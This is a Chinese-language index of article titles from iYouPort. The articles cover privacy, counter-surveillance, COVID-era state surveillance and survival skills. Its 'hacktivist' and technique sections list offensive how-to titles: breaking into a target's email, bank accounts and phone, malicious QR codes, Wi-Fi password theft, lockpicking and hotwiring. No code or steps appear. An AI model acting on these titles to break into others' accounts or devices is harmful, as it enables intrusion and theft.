4. 少即是多：变得难以被追踪的简单方法（5） - iyouport
5. 大保健应该成为习惯：变得难以被追踪的简单方法（6） - iyouport
6. 在雷达下低飞：变得难以被追踪的简单方法（7） - iyouport
7. 到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8） - iyouport

8. 8个步骤实现基本匿名实践：变得难以被追踪的简单方法（9） - iyouport

13. COVID-19(84)

1. "我参观了一个中国实验室。我学到的东西有助于解释关于 Covid-19 起源的冲突" - iyouport
2. Covid-19 与民主的未来：个人主义和集体主义之间真的需要非此即彼吗？ - iyouport
3. COVID-19吹哨人的家遭遇武装突袭的惊人案例说明了什么 - iyouport
4. Slavoj Žižek：冠状病毒和法国的抗议活动之间有什么共同点 - iyouport
5. 中国、迪拜和意大利的警察正在使用这些监视偷窥扫描路径的任何人 - iyouport
6. 中国吹的牛皮可能会加剧中西方之间的分歧 - iyouport
7. 他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕 - iyouport
8. 侵犯性、安全威胁和可怕的前景：关于疫苗护照您应该知道的事 - iyouport
9. 冠状病毒危机究竟是否能够结束？：威权主义的权衡 - iyouport
10. 冠状病毒如何展示了数字技术撕裂社会的极致状态 - iyouport
11. 冠状病毒疫情中7种侵犯人权的方式最为突出 - iyouport
12. 口罩的政治 - iyouport
13. 当疫苗遇到不平等的人类世界 …… - iyouport
14. 手机中隐藏的跟踪器：他们如何使用您手机的应用程序监视您 - iyouport
15. 新棱镜和秘密合同 - iyouport
16. 新自由主义结束了 - 欢迎来到新*不*自由主义时代：冠状病毒、中国、寡头、高堡奇人…… - iYouPort
17. 疫苗的民族主义权力游戏只会毁掉一切 - iyouport
18. 疾病、死亡和治理：冠状病毒防疫与政治制度之间的关系有多大？ - iyouport
19. 监视技术的扩张并无助于防疫 …… 冠状病毒教给

人类的东西 - iyouport
20. （6）灾难中捍卫人权的技巧指南：公民活动家如何在COVID19期间记录真相 - iyouport
21. #COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱 - 包括但并仅仅是中国：长篇报告 - iYouPort
22. LR #COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱 - 包括但并仅仅是中国：长篇报告

14. 在灾难中幸存

1. 活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知 - iyouport
2. 准确的情报和判断：基准线 — 在灾难中幸存的方法（2） - iyouport
3. 您必备的基本防身装备：在灾难中幸存的方法（3） - iyouport
4. 如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（4） - iyouport
5. 如何撬锁、翻栅栏、短路点火发动汽车：在灾难中幸存的方法（5） - iyouport
6. 特工战斗法帮你摆脱跟踪监视：在灾难中幸存的方法（6） - iyouport
7. 如何欺骗，和如何防骗：在灾难中幸存的方法（7） - iyouport
8. 武器和自我防御的重要策略：在灾难中幸存的方法（8） - iyouport
9. 您的生存工具箱中应该放入什么：在灾难中幸存的方法（9） - iyouport
10. 如何在大规模枪击案中幸存：在灾难中幸存（10） - iyouport

15. 自我保护措施-技术技巧以防身

1. “Airbnb“已废，还可以怎么办 - iYouPort
2. “缴钱不杀”！恶意行为者如何行动：剖析 sextortion 骗局 - iYouPort
3. "鸭子的欧洲版本"？反监视的搜索引擎真的能摆脱美国了吗？ - iYouPort
4. ⚠ 大型网络钓鱼攻击活动专门针对注重隐私的用户，成功绕过双因素身份验证 - iYouPort

5. 2019年最好的 Mac 杀毒软件是什么？ - iYouPort
6. 4 个附加组件，以提高您在 Thunderbird 上的隐私 - iYouPort
7. 4款最佳一次性手机号码应用：适用 Android & iPhone - iYouPort
8. 5 个最好的免费开源反病毒工具 PC版 - iYouPort
9. 5个信誉良好的一次性信用卡号服务：隐藏您的真实身份信息 - iyouport
10. 6 个最好的开源桌面电子邮件客户端 - iyouport
11. 6种可以不使用谷歌搜索的方法 - iYouPort
12. 9种最佳免费 Linux 数字取证工具 - iYouPort
13. AS 如何检查您的VPN连接是否实际加密 - iyouport
14. AS59 如何才能安全地使用端对端加密（比如 Signal）：准则 - iyouport
15. Google Play商店无法下载或更新应用程序怎么办？ - iyouport
16. Google 产品的替代品 – 完整列表 关注隐私权的你，马上行动起来～ - iyouport
17. Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？ - iyouport
18. Telegram的隐私保护指南，和信息搜索工具 - iyouport
19. VPN 如何出卖了你：声明“不记录日志”的 VPN 服务 IPVanish 卷入日志丑闻 - iYouPort
20. VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？ - iyouport
21. WhatsApp、Signal、Telegram，Facebook Messenger：每个应用程序都收集什么数据？ - iYouPort
22. Wi-Fi是如何出卖你的？ - iyouport
23. 一个人的疏忽将拖累所有人陷入危险 - iYouPort
24. 一些简单的措施以防止您的汽车被骇客控制 - iyouport
25. 一句话安全须知：记住这些句子，以简单地优化您的安全性 - iyouport
26. 一种通过加密保护您隐私的搜索引擎 - iyouport
27. 不止是 Zoom，Google Meet、Microsoft Teams 和 Webex 都不安全
28. 不要出师未捷！挖掘真相的基本安全操作提示和技巧 - iyouport

29. 为什么你不应该使用Wi-Fi - iyouport
30. 了解自己的状况是保护安全的第一步 - iYouPort
31. 什么是凭据填充攻击？以及如何保护自己 - iyouport
32. 伪装＋擦除 —— 在线隐身的重要步骤（少数派玩家） - iyouport
33. 你收到的是朋友发来的消息？那可不一定！小心新骗局 - iYouPort
34. 你的手机在监视你，你也可以监视它 - iYouPort
35. 你的足迹非常危险！ - iYouPort
36. 你认真考虑过 VPN 的安全吗 - iYouPort
37. 使用 Semiphemeral 轻松自动删除旧的推文、点赞和DM - iYouPort
38. 使用 Tor 保护自己时千万不要做这九件事！ - iyouport
39. 使用开源搜索引擎自定义您的互联网 - iyouport
40. 使用社交媒体时你必须注意什么？ —— 更安全的抵抗 - iyouport
41. 像普通人那样保护您的数字生活安全 - iyouport
42. 创新的复古 - iYouPort
43. 删除真的很容易吗？删除之后呢？抵制 Facebook 运动不该忽视深层问题 - iYouPort
44. 匿名、安全、开源，为什么你应该试试 ADAMANT Messenger？ - iYouPort
45. 千万不要相信任何“热情的客服” - iYouPort
46. 反侦察：情报机构再次监听记者通讯，媒体该如何保证爆料人的安全？ - iYouPort
47. 反侦察：除技术之外你还应该注意诸多重要的细节问题 - iYouPort
48. 反侦察工具：PGP 简易教程（Mac 版） - iYouPort
49. 反侦查注意事项补充：设备本身的问题 - iYouPort
50. 可以采取哪些措施来阻止 Google 和其他人跟踪您的手机？ - iYouPort
51. 喜欢 Android 但讨厌 Google 的隐私侵犯，可以怎么办？ - iYouPort
52. 如何从 Microsoft Office 文档中完全删除那些暴露你身份的元数据？ - iyouport
53. 如何从无法启动的Mac上获取数据 - iyouport
54. 如何从民宿网站挖掘大量重要情报？以及使用这些网站的人应该注意什么 - iyouport

55. 如何以纯文本格式转储密码管理器中的密码 - iyouport
56. 如何使用 Facebook Messenger 跟踪目标人的位置 - iyouport
57. 如何使用手机查找隐藏的监控摄像头 - iyouport
58. 如何保护您的Wi-Fi免受FragAttacks攻击 - iyouport
59. 如何保护自己免受蔓延全世界的最强大的以色列间谍软件 Pegasus 的攻击 - iyouport
60. 如何创建多个虚拟桌面，以分隔您的工作和生活 - iYouPort
61. 如何删除您的 Google 搜索记录 - iYouPort
62. 如何发布定时推文：隐藏真实身份的小技巧之一 - iyouport
63. 如何在”没信号”的情况下保持联系：构建离网Wi-Fi语音通信系统的方法 - iyouport
64. 如何在Android上设置和使用Tor - iyouport
65. 如何在Chrome中导出和删除已保存的密码 - iyouport
66. 如何在iPhone上删除不必要的配置文件和证书以保护您的隐私和安全 - iyouport
67. 如何在Linux上使用GnuPG进行加密 - iyouport
68. 如何在Mac上加密PDF - iyouport
69. 如何在ProtonMail中设置PGP加密 - iyouport
70. 如何在你的网页浏览器中使用Tor网络？ - iYouPort
71. 如何在浏览器内执行开源情报调查以识别恶意软件、可疑网站、检查邮件等 - iyouport
72. 如何在运行 Manjaro Linux 或 CentOS 的计算机上安装 Tor - iyouport
73. 如何安全地在线传输大型文件？：5个方法 - iyouport
74. 如何将您的手机用作在任何计算机上登录Google帐户的安全密钥？ - iYouPort
75. 如何开始使用 Usenet，这里是最佳选择 - iYouPort
76. 如何强制 Firefox 永远不会保存任何密码 - iYouPort
77. 如何彻底擦除您的Android手机？ - iyouport
78. 如何才能安全地使用端对端加密（比如Signal）：准则 - iyouport

79. 如何才能将文件从安卓手机”空投”到Mac和iOS - iyouport
80. 如何查找您的雇主安装在计算机上的间谍软件，以及如何处理 - iyouport
81. 如何检查MacOS上的恶意软件和键盘监听程序 - iyouport
82. 如何自动删除所有telegram消息 - iyouport
83. 如何让您的 iPhone 能够防小偷 - iyouport
84. 如何识别 Facebook 上的假朋友请求 - iYouPort
85. 如何跨社交媒体平台追踪目标人？⚠ 警告安全意识 - iyouport
86. 如何通过欺骗Wi-Fi热点来更改手机坐标 - iyouport
87. 如何阻止您的电子邮件被跟踪？ - iyouport
88. 如何验证您的 VPN 连接是否安全？ - iYouPort
89. 如果你的手机被安装了间谍软件怎么办 - iyouport
90. 如果您的手机被盗或被警察抢走… - iyouport
91. 如果您的电子邮件帐户被黑客入侵怎么办 - iyouport
92. 妈妈说，操作安全永远不能被忽视 - 匿名工具：小白级指南 - iyouport
93. 完美替身 - [video] - iYouPort
94. 密码管理器 LastPass 的主密码是如何泄露的？ - iyouport
95. 小心社交媒体上的所有小测试和问答游戏 - iYouPort
96. 当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防 - iyouport
97. 当您不得不使用谷歌服务时，如何隐藏您的确切位置 - iyouport
98. 当您准备像编程随想那样工作…：须知 - iyouport
99. 您周围到处都是隐藏的Wi-Fi网络 — 一些简单的攻击就可以找到它们 - iyouport
100. 您是否正在被 AirTag 跟踪？这里是检查方法 - iyouport
101. 您是否知道浏览器扩展正在偷窥您的银行帐户？ - iyouport
102. 您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识 🔐 - iYouPort
103. 您需要额外的帮助 - iYouPort
104. 想活命吗？不想丢钱吗？不愿意进监狱吗？……

这是您最基本需要做的事 - iyouport
105. 我的设备好像被黑了怎么办？ — — 给敏感人士和小白朋友的数字急救包 - iYouPort
106. 技术是愚蠢的 - 这就是为什么您应该格外小心：基本手册给行动者、敏感人士和任何期待安全的普通公民
107. 攻击加密系统的多种形式和防御方法 - iyouport
108. 攻击者通过隐藏在 Twitter 上的 meme 中的命令来控制恶意软件 - iYouPort
109. 数字取证正在泛滥：政府可以从你的手机中提取哪些数据？ - iyouport
110. 新版 OnionShare 使任何人都可以轻松发布匿名的、无法审查的网站 - iYouPort
111. 新的手机间谍软件监视范围包括QQ和微信 - iYouPort
112. 新的隐私工具可以揭露哪个网站您不应该访问 - iYouPort
113. 无法匿名的数据指纹 — — 我可以如何避免被识别？ - iYouPort
114. 智能手机正在对你实施间谍行为？ - iYouPort
115. 构建技术直觉：生存在数字世界必备的本能 - iyouport
116. 某个VPN可能不可靠的5个标志：如果您不理解技术的话 - iyouport
117. 查找链接到您的电子邮件地址或电话号码的所有帐户的6种方法 - iyouport
118. 欧盟邪恶的版权法案其实已经过时 - iYouPort
119. 清洁工具：自动删除您的旧推文，但您要保留的推文除外 - iYouPort
120. 渔艺正在升级：URSNIF 恶意软件新变种通过回复邮件即可实现传播 - iYouPort
121. 玩社交媒体应该非常警惕 - iYouPort
122. 盲目信任会让你成为被攻击对象 - iYouPort
123. 礼貌的偏执 - iyouport
124. 社交媒体上的行动主义安全性：框架手册 - iyouport
125. 私人威胁模型 - iYouPort
126. 移除你的绵羊墙：给普通人的5个防御课程 - iyouport
127. 绕开推特算法噪音、使用基本运算符挖掘推特数据

的方法 - iyouport
128. 网络战：!社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？ - iYouPort
129. 聊天机器人的风险 - iyouport
130. 要借手机给别人使用时如何保护自己的隐私？ - iyouport
131. 警察和间谍如何解码你的照片？ - iYouPort
132. 警察有可能如何恢复您已删除的互联网浏览历史记录 - iyouport
133. 警惕 WhatsApp 的潜在弱点：智利警方是否可以解密来自 WhatsApp 的信息？ - iYouPort
134. 警惕恶意 VPN - iYouPort
135. 让没有技术的人也能使用技术保护自己 - iYouPort
136. 谷歌甚至可以轻松搜到密码以实现入侵 ……如何做到这件事？ - iyouport
137. 购物中的隐私泄漏：不论是在线剁手还是实体店，都应注意 - iYouPort
138. 跟踪任何手机，在全世界的任何地方：只需要一个手机号 - iyouport
139. 这就是为什么你应该放弃 Chrome - iYouPort
140. 远离诱饵!警惕 7 大最常见的网络钓鱼主题行 - iYouPort
141. 避免成为社交工程受害者的方法可以很简单 - iYouPort
142. 都是工具，从自我保护到有效利用 —— 亦正亦邪元数据 (下篇) 熟练使用它们是数字公民的基本功 - iYouPort
143. 默认设置下的 Telegram 拨打电话会泄露IP地址 - iYouPort
144. 安全手册：这里是你需要的几乎所有基本安全上网工具（1） - iyouport
145. 断网后如何进行文件共享和通信？：如何应对断网（1） - iyouport
146. 来自人身的威胁：如何在敌对环境中保护自己（1） - iyouport
147. 安全工具箱补充版：分类工具列表（2） - iyouport
148. 最低程度的技术性获得最大幅度的安全提升：如何在敌对环境中保护自己（2） - iyouport
149. 手机应该有且只有一个用途：在敌对环境中保护自

己（3） - iyouport
150. 为最坏的情况做准备，迎接最好的结果：在敌对环境中保护自己（4） - iyouport

16. 如何应对断网

1. 断网后如何进行文件共享和通信？：如何应对断网（1） - iyouport
2. 如何搞定您的手机以便能让它应付断网状态？：如何应对断网（2） - iyouport
3. 我应该使用这个应用程序保存真相吗？：如何应对断网（3） - iyouport
4. 没有互联网的情况下如何验证视觉信息的真伪：如何应对断网（4） - iyouport
5. 如何在没有互联网或计算机的情况下备份手机中的媒体文档？：如何应对断网（5） - iyouport

17. 反侦查-在现实中反监视

1. 隐身游戏：如何在监视遍地的社会里让自己完全消失 - iYouPort
2. Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？ - iyouport
3. VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？ - iyouport
4. 反侦察：除技术之外你还应该注意诸多重要的细节问题 - iYouPort
5. 反侦察教训：当权者如何抓捕 Facebook 和 telegram 用户 - iYouPort
6. 反侦查注意事项补充：设备本身的问题 - iYouPort
7. 在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视 - iyouport
8. 如何对抗面部识别技术？ - iYouPort
9. 如何检测您是否正在受到监视？ — — 监视检测和特殊保护行动 - iyouport
10. 暗中监视的迹象 - iyouport
11. 用“眼”识人：你想知道自己在一个“间谍”的眼中是什么样吗？ - iyouport
12. 避风港发布 Haven 0.1.0 RC 1 公测版，这里是中文介绍 - iYouPort
13. 间谍如何用灯泡窃听你的私密谈话？（不是智能灯

泡） - iYouPort
14. 防数据泄漏、防窃听、隐身……监视自卫设计师产品 - iyouport

18. IoT-危机和防御

1. 以色列创业公司筹集了1250万美元，让政府可以破解物联网 - iYouPort
2. 你家冰箱如何作为呈堂证供？ - iyouport
3. 如何攻击 IP 监控摄像机？以及如何防止被攻击？ - iyouport
4. 如何检测摄像头是否被入侵 - iYouPort
5. 小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？ - iYouPort
6. 新的智能手机应用程序帮您迅速发现物联网中的间谍设备 - iyouport

19. 技术-攻击防御和反抗

1. “缴钱不杀”！恶意行为者如何行动：剖析 sextortion 骗局 - iYouPort
2. "钓鱼执法"：在活动目录中进行的诱捕与反诱捕的攻防较量 - iYouPort
3. [video]如何才能挑战 Facebook 并取得胜利？——Distributed Social Network - iYouPort
4. 🕸 攻击者在中东的间谍活动中暴露出苹果 Mac 的弱点 - iYouPort
5. 🕸通过附加到电子邮件的 PDF 文件完全控制一个隐秘和弹性后门：对俄罗斯间谍网络的技术分析 - iYouPort
6. 👂 使用智能手机扬声器中的声纳信号窃取解锁密码：成功实现 - iYouPort
7. 100种不错的免费工具和资源 - iyouport
8. 2020年10大最受欢迎的编码挑战网站 - iYouPort
9. 35个好用的数据科学 Python 库 - iyouport
10. 650个名校免费在线课程，你马上就可以开始 - iYouPort
11. GandCrab 勒索软件升级，增加了 NSA 的 SMB 漏洞，以便更快地传播 - iYouPort
12. SIM劫持：如何实施信用卡诈骗攻击？ - iYouPort
13. USB 数据线攻击 - iYouPort

14. Whatsapp, Slack, Skype 等应用程序更容易被构建后门 - iYouPort
15. 一个用于在 Blockstack 分散式网络上构建网页的 Web 构建器 - iYouPort
16. 不要忽视威胁情报中的地缘政治 - iYouPort
17. 人脸识别可以自制，你知道吗？而且非常简单 - iyouport
18. 从一个 Ubuntu 版本升级到另一个版本，而无需重新安装操作系统，怎么做？ - iYouPort
19. 以支付宝为例探讨移动支付的数据安全 - iyouport
20. 你下载的应用程序一直在间谍你？ - iYouPort
21. 你的手机在监视你，你也可以监视它 - iYouPort
22. 借刀杀人 - iYouPort
23. 关于幽灵用户和开裆裤 - iYouPort
24. 在谷歌日历中植入钓鱼攻击链接的结果是什么？ - iYouPort
25. 如何使树莓派看起来像Windows或macOS - iyouport
26. 如何使用Python免费创建Discord Bot –完整教程 - iyouport
27. 如何利用图片绕过防火墙窃取数据？ - iYouPort
28. 如何在 Linux 上使用Vim编辑远程文件 - iYouPort
29. 如何在 macOS 上轻松安装开源软件 - iYouPort
30. 如何将 DOCX 文档转换为 PPTX 文件 - iyouport
31. 如何将图片转换成电影的简单方法 - iYouPort
32. 如何将您的Google幻灯片演示文稿变成视频和GIF？ - iYouPort
33. 如何将手机变成PC遥控器 - iYouPort
34. 如何手动制作运动传感器监视室内任何人的出入 - iYouPort
35. 如何查看 Android 设备已连接到的Wi-Fi网络密码 - iyouport
36. 如何检查您的硬盘驱动器是否有问题 - iyouport
37. 如何清除 iPhone 和 iPad 上的缓存 - iyouport
38. 如何破解受密码保护的Microsoft Office文件，包括Word文档和Excel电子表格 - iYouPort
39. 如何破解受密码保护的ZIP、PDF等文件 - iyouport
40. 如何穿越付费墙：12个省钱大法 - iyouport
41. 如何跨多个PDF文件查找文本内容？ - iYouPort
42. 如何通过查找和删除 Mac 上不需要的大文件来释

放存储空间 - iYouPort
43. 如何通过欺骗Wi-Fi热点来更改手机坐标 - iyouport
44. 妈妈说，操作安全永远不能被忽视 - 匿名工具：小白级指南 - iyouport
45. 对 LINE 中端到端加密的分析 - iYouPort
46. 小米正在如何跟踪你？ - - 逆向”快应用”，以及如何防御 - iyouport
47. 所有没有 T2 芯片的 Mac 都容易受到最近发现的冷启动攻击 - iYouPort
48. 攻击者如何从密码管理器中以明文形式盗取密码？ - iyouport
49. 攻击者通过 Necurs 僵尸网络兜售武器化的 IQY 文件，如何防御？ - iYouPort
50. 攻破 Telegram, Steam, 加密货币钱包… 全面揭秘信息窃取恶意软件的技术细节 - iYouPort
51. 新的VPN协议 - iYouPort
52. 旨在对抗指纹追踪的扩展程序如何令指纹追踪变得更容易了 - iyouport
53. 曾经令区块链恐惧的 51% 算力攻击现在已经越来越常见 - iYouPort
54. 最好的 iPhone 杀毒软件是什么？不，并不存在这种东西 - iYouPort
55. 欧盟邪恶的版权法案其实已经过时 - iYouPort
56. 比GPS更准确地定位你 - iYouPort
57. 警告：WhatsApp文本流中的恶意链接 - iYouPort
58. 警告：绕过 Android 安全锁屏的方法有很多 - iYouPort
59. 适用于Windows和Linux应用程序的动态API调用跟踪器：Drltrace - iYouPort
60. 针对性攻击 - iYouPort
61. 隐藏 bash 历史命令的小技巧 - iYouPort
62. 隐身的大象 - iYouPort
63. 骇客们已经进入Apple生态系统，也许就是你的手机 - iYouPort
64. 骇客如何入侵您的银行帐户：5种方法 - iYouPort
65. 骇客通过简单地发送文本即可闯入你的苹果设备 - iYouPort
66. 高级攻击变得越来越容易了，这意味着什么？ - iYouPort

20. hacktivist

1. 22个黑客速成课视频及资源 - iyouport
2. 使用Wi-Fi Deauther手表，在您的手腕上直接破解网络和设备 - iyouport
3. 如何以纯文本格式转储密码管理器中的密码 - iyouport
4. 如何使用树莓派和 Kali Linux 构建一个黑客工作站 - iyouport
5. 如何创建恶意QR码入侵手机和其他扫描仪 - iyouport
6. 如何将Kali Linux安装为USB硬盘，以便在任何计算机上进行渗透测试和黑客攻击 - iyouport
7. 如何将安卓手机变成黑客设备 - 无需 Root - iYouPort
8. 如何打败VPN并远程跟踪MacOS计算机 - iYouPort
9. 如何破解受密码保护的Microsoft Office文件，包括Word文档和Excel电子表格 - iYouPort
10. 如何通过欺骗Wi-Fi热点来更改手机坐标 - iyouport
11. 工具：用于蓝队的模块化开源情报蜜罐 - iYouPort
12. 您周围到处都是隐藏的Wi-Fi网络 — 一些简单的攻击就可以找到它们 - iyouport
13. 推荐一些最好的黑客网站 - iyouport
14. 攻击者如何收集有关目标的情报？他们能了解你多少？ - iyouport
15. 适用于Android的11种最佳Wi-Fi黑客应用程序 - iyouport
16. 革命斗争中黑客的力量和潜力，以及一些资源 - iyouport
17. Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1） - iyouport
18. Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2） - iyouport
19. 如何全面间谍任何人的智能手机私密活动 - 黑客主义行动力（3） - iyouport
20. 如何在音频文件中隐藏秘密信息：黑客主义行动力（4） - iyouport
21. 如何破解蓝牙打开监狱大门：黑客主义行动力（5） - iyouport
22. “融化” 所有债务 ……如何构建黑客树莓派 — 黑客

主义行动力（6） - iyouport
23. 充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7） - iyouport
24. 如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8） - iyouport
25. 如何发送欺骗性短信？- 黑客主义行动力（9） - iyouport
26. 如何入侵目标的电子邮件和银行账户：黑客主义行动力（10） - iyouport
27. 如何黑入汽车：黑客主义行动力（11） - iyouport
28. 如何控制目标人的安卓手机：黑客主义行动力（12） - iyouport
29. 如何自动扫描易受攻击的设备 - 黑客主义行动力（13） - iyouport
30. 如何入侵安卓手机：黑客主义行动力（14） - iyouport
31. 如何入侵监视摄像头和物联网设备：黑客主义行动力（15） - iyouport
32. 艾略特如何破解每个人的密码：黑客主义行动力（16） - iyouport
33. 尝试 Metasploit入侵Android移动设备：黑客主义行动力（17） - iyouport

5. IYP-监视资本主义的世界什么样（2）

    1. 为什么

        1. “数据所有权”不仅无法解决现有问题，它还制造了新的问题 - iyouport
        2. Why do we want to emphasize the distinction between the "Beijing regime" and the "Chinese people?" 为什么我们要强调区分“北京政权”和“中国人” - iYouPort
        3. 一个人错误的权限设置将危害一群人的宪法权利 - iYouPort
        4. 不，互联网并没有杀死反文化 -- 您只是在寡头服务上找不到它 - iyouport
        5. 为什么中国社会看起来很“傻” - iYouPort
        6. 为什么中国社会难以组织起来 - iYouPort
        7. 为什么人们对在线隐私如此虚伪？ - iYouPort

8. 为什么你不应该使用Wi-Fi - iyouport
9. 为什么你不应该信任应用程序；以及如何解决这个问题 - iyouport
10. 为什么反抗 - iYouPort
11. 为什么将隐私视为产权的想法必需彻底结束 - iYouPort
12. 为什么当权者拼命要抢走你的隐私？ - iYouPort
13. 为什么我们互不信任？ - iyouport
14. 为什么技术有利于暴政？ — — 一场你必须参与的政治斗争 - iyouport
15. 为什么政治将人们分裂 - iyouport
16. 为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？ - iyouport
17. 为什么街头抗议不起作用？ - iYouPort
18. 为什么说欧洲新法规反而会加强 Facebook 和 Google 的霸权？ - iYouPort
19. 为什么说自我审查不是简单的恐惧而是更大问题的冰山一角？ - iYouPort
20. 为什么说记者的专业性和对安全知识的熟练掌握决定了民主的可持续性 - iYouPort
21. 为什么隐私保护法规并没能起到作用？ - iYouPort
22. 互联网巴尔干化已经是一个非常严重的全球政治问题 - iyouport
23. 他们为什么如此猖狂？因为你们互不信任 - iYouPort
24. 你一个人离开社交媒体是没有用的 - iYouPort
25. 保护安全需要一系列思考方式，而不是哪个软件 - iyouport
26. 保护安全需要一系列思考方式，而不是哪个软件 - iYouPort
27. 别全信和别较真儿 - iYouPort
28. 匿名终结者：为什么说声音识别是所有隐私入侵手段中最为可怕的一种？ - iyouport
29. 在中国：为什么经历文革十年的那代人至今“执迷不悟”？ - iYouPort
30. 对学术界的威胁：语言游戏与意识形态 - iYouPort
31. 异议的消亡：为什么网络变得同质化 - iYouPort
32. 把你的隐私控制权交给任何人都等于剥夺隐私 - iYouPort
33. 是什么驱动着意识形态上两极分化？：新研究有一

个新发现 - iyouport
34. 电影电视究竟是什么？为什么稍有权势的人都想要审查控制文艺创作？ - iYouPort
35. 跨国追捕如何变得更加容易？ - iYouPort
36. 这个世界的为什么 - iyouport

2. 监视资本主义的世界

1. “每家公司都有给警察留的后门”，现在它正在被滥用于监视 - iyouport
2. 1200万部电话，一个数据集：利维坦眼中的世界 - iyouport
3. 70年后，还是1984 - iyouport
4. Clubhouse 这个价值40亿美元的应用程序，无视隐私权、安全性或可访问性 - iyouport
5. iPhone 应用程序会通过加速度计泄漏关于您的哪些信息？ - iyouport
6. McChesney 警告：民主正在被互联网摧毁，他为什么这样说？ - iYouPort
7. 一个愚蠢带来的启示 - iyouport
8. 三大运营商一直在私下出售用户最关键的隐私数据 - iYouPort
9. 买断互联网 - iYouPort
10. 互联网究竟是什么？ —— 来自“监视谷”惊人的启示 - iyouport
11. 从斯诺登到中国 … - iyouport
12. 他们实时跟踪全世界150亿辆汽车的一举一动：强大监视能力正在推销给政府 - iyouport
13. 以隐私为目的的斗争如何让你变成了监视的盟友 - iyouport
14. 你只是寡头们营造的数字种植园里的农奴：改变被奴役的命运 - iyouport
15. 你正在如何被操纵：这是每个人都难以躲避的无形专制【video】 - iyouport
16. 你还是你吗？ - iYouPort
17. 便利的暴政 - iyouport
18. 全球互联网之战才刚刚开始 - iyouport
19. 分心（注意力操纵）才是最常见/最邪恶的审查制度 - iyouport
20. 反诈中心应用程序危险在哪里？如何抵制？- 审计

报告 - iyouport
21. 可怜正义没有钱 - iyouport
22. 嗨，小心！你被瞄准了 - iYouPort
23. 国王们的晚宴 —— 这是一场看不见的政变 - iyouport
24. 国王们的晚宴 —— 这是一场看不见的政变 - iYouPort
25. 在1849年就预测到现代监视资本主义的人 - iyouport
26. 在CES上，技术寡头正努力宣扬隐私，不要相信他们的炒作！ - iYouPort
27. 地主2.0：科技的新食利资本主义 - iyouport
28. 声称“给你隐私”但不给你自由：看 Apple 如何把玩文字游戏 - iyouport
29. 如何能够轻松绕开宪法的制约 - iYouPort
30. 帮助特朗普连任的监视跟踪公司现在要利用冠状病毒赚钱 - iyouport
31. 帮助特朗普连任的监视跟踪公司现在要利用冠状病毒赚钱 - iYouPort
32. 广告并不是烦人这么简单 - iYouPort
33. 强盗经济学：被他们抢走的东西现在居然要你掏钱买回来 - iYouPort
34. 影响的焦虑 - iYouPort
35. 您已经被卖了，而且是个好价钱 - iYouPort
36. 您的所有个人数据都是政治数据：走向民主之前需要了解的事 - iyouport
37. 我们不是在谈论那场政变 - iyouport
38. 技术巨头不是烟草巨头，至少不仅仅是 - iyouport
39. 技术的政治权力，和 “社会困境” 的缺陷：访谈 - iyouport
40. 政治营销正在努力透射你的大脑 - iyouport
41. 数字极权的审查如何扼杀独立媒体？ - iYouPort
42. 数字殖民主义威胁全球南方国家 - iYouPort
43. 数据匿名化的陷阱 - iyouport
44. 新纪录片揭示 Facebook 和谷歌的真面目 - iYouPort
45. 最完美的绑架 - iYouPort
46. 没有广告的世界……真的好吗？ - iYouPort
47. 监视资本主义的解毒剂是什么 - iYouPort
48. 看不见的政变 - iYouPort

49. 看不见的独裁 - iyouport
50. 硅谷正在以其阴险的意识形态破坏民主 - iYouPort
51. 硅谷的太阳王 - iYouPort
52. 算法殖民：从不知所云的流行语到金钱驱动的流行病 - iyouport
53. 老大哥在你耳朵里 - iYouPort
54. 订户之城 - iyouport
55. 许多顶尖的AI研究人员从科技寡头公司获得资金支持 - iYouPort
56. 谷歌控制的世界和监视资本主义 - iYouPort
57. 财迷的代价 - iYouPort
58. 资本主义“新阶段”？ - iYouPort
59. 这就是为什么你应该放弃 Chrome - iYouPort
60. 邪恶列表 — 您了解这些邪恶公司吗？ - iyouport
61. 隐私法案管不住 Facebook 和 Google，怎么办 - iYouPort
62. 集体监听 - iYouPort
63. 黑客瞄准监控公司，揭露了监视资本主义的无孔不入 - iYouPort

3. 技术暴政

1. 70年后，还是1984 - iyouport
2. LR 互联网霸主的时间线 —— 他们将互联网视为间谍、破坏和战争的主场 - iyouport
3. 一个蓬勃发展的间谍技术市场 - iYouPort
4. 一场令人不寒而栗的网络战 - iyouport
5. 一种更邪恶的审查必须警惕，比中国的GFW严重太多 - iYouPort
6. 一秒钟追踪你的一切：”融合系统” 是什么东西？ - iyouport
7. 上帝之眼：一个没有秘密的世界意味着什么？ - iYouPort
8. 不论政府关闭与否，警察国家都将继续蓬勃发展。还可以怎么办？ - iYouPort
9. 为什么技术有利于暴政？ — — 一场你必须参与的政治斗争 - iyouport
10. 为什么民粹主义蓬勃发展？部分要归罪于今天的技术 - iyouport
11. 你正在如何被操纵：这是每个人都难以躲避的无形

专制【video】 - iyouport
12. 你的手机就是秘密监视设备 — Snowden访谈视频 - iyouport
13. 全球政权如何利用技术和贫困奴役人民？暴政背后的黑手 - iyouport
14. 全球最大的民主国家也是全球最大的监视国家 - iYouPort
15. 前共产国家的今天 - iyouport
16. 天空中的眼睛 - iYouPort
17. 媒体巨头和硅谷的武器化算法沉默异议 - iyouport
18. 当你被一枚井盖诱捕…… - iYouPort
19. 当您准备寻求庇护 …… 移民和难民需要注意的10大威胁 - iyouport
20. 忘记面部识别吧，智能手机监控你如何行走、如何打字以及”空闲时间都干了什么” - iyouport
21. 恐怖的 0day 市场 - iYouPort
22. 恐怖读心术 - iYouPort
